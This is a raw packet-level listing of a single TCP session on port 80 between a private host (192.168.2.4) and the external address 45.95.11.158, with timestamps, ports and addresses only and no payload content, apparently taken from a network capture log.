Aug 23, 2022 03:42:52.949112892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.949135065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.949172974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.949212074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.949965000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.949984074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950001001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950012922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950028896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950057030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950074911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950117111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950160980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950179100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950191021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950198889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950208902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950220108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950231075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950246096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950247049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950278997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950303078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950340986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950352907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950390100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950423956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950443029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950453997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950462103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950470924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950481892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950488091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950506926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950517893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950531006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950541019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950577021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950609922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950628042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950669050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950670958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950696945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.950719118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.950740099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957294941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957334042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957432032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957515001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957536936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957565069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957588911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957598925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957619905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957628965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957637072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957660913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957662106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957676888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957681894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957698107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957717896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957725048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957756996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957760096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957775116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957809925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957818031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957818031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957837105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957854033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957855940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957868099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.957873106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957892895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.957914114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.973463058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973493099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973509073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973525047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973542929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973556042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.973558903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973573923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973587990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.973592997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973611116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973627090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973639011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.973644018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.973668098 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.973689079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.977832079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.977864981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.977880955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.977893114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.977902889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.977926970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.977927923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.977967978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978007078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978043079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978048086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978086948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978224039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978244066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978266954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978279114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978287935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978312969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978322029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978347063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978358984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978383064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978427887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978456974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978465080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978481054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978491068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.978507996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.978549957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.979499102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979520082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979579926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.979603052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979615927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979649067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979662895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.979712009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.979722977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979741096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979753017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979763985 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.979799986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.979880095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979921103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979923010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.979960918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.979973078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.979974031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980003119 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980005980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980031013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980038881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980068922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980103016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980114937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980142117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980165958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980204105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980240107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980241060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980276108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980282068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980294943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980318069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980338097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980927944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980962038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980983019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.980990887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.980999947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981019020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981028080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981054068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981122971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981158972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981161118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981189966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981221914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981240988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981280088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981319904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981360912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981360912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981398106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981400013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981426001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981441021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981461048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981806040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981858015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981882095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981920958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981925011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981942892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.981957912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.981977940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.982399940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.982481003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.982503891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.982522964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.982531071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.982585907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.982614040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.982630968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.982722044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.982759953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.982779980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.982800007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.982817888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.982826948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.982841969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.982866049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.982995033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.983038902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.983040094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.983058929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.983071089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.983083963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.983107090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.988822937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.988847017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.988878965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.988903046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.988905907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.988938093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.988941908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.989150047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.989247084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.989284992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.989403009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.989444971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.989464045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.989466906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.989487886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.989502907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.989515066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.989531994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.989547968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.989607096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.989620924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:52.989636898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.989649057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:52.989677906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005307913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005337000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005353928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005369902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005378008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005386114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005403042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005412102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005417109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005434990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005443096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005451918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005460978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005469084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005482912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005486965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005511045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005534887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005650043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005666971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005686045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005692005 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005708933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.005711079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.005764961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.009598970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.009624958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.009640932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.009654045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.009664059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.009695053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.009728909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.009746075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.009762049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.009773016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.009782076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.009816885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.009973049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.010020971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.010035038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.010071039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.010077953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.010085106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.010109901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.010132074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.010133982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.010174990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.010176897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.010212898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.010214090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.010229111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.010251045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.010271072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012233973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012273073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012289047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012296915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012360096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012381077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012408972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012444973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012464046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012476921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012485027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012494087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012502909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012530088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012535095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012563944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012571096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012573957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012578964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012588978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012634039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012696028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012738943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012774944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012810946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012816906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012854099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012857914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012871981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012888908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012902975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012903929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012923002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.012929916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012973070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.012974977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013015985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013022900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013030052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013066053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013096094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013190031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013236046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013300896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013335943 CEST	80	49743	45.95.11.158	192.168.2.4
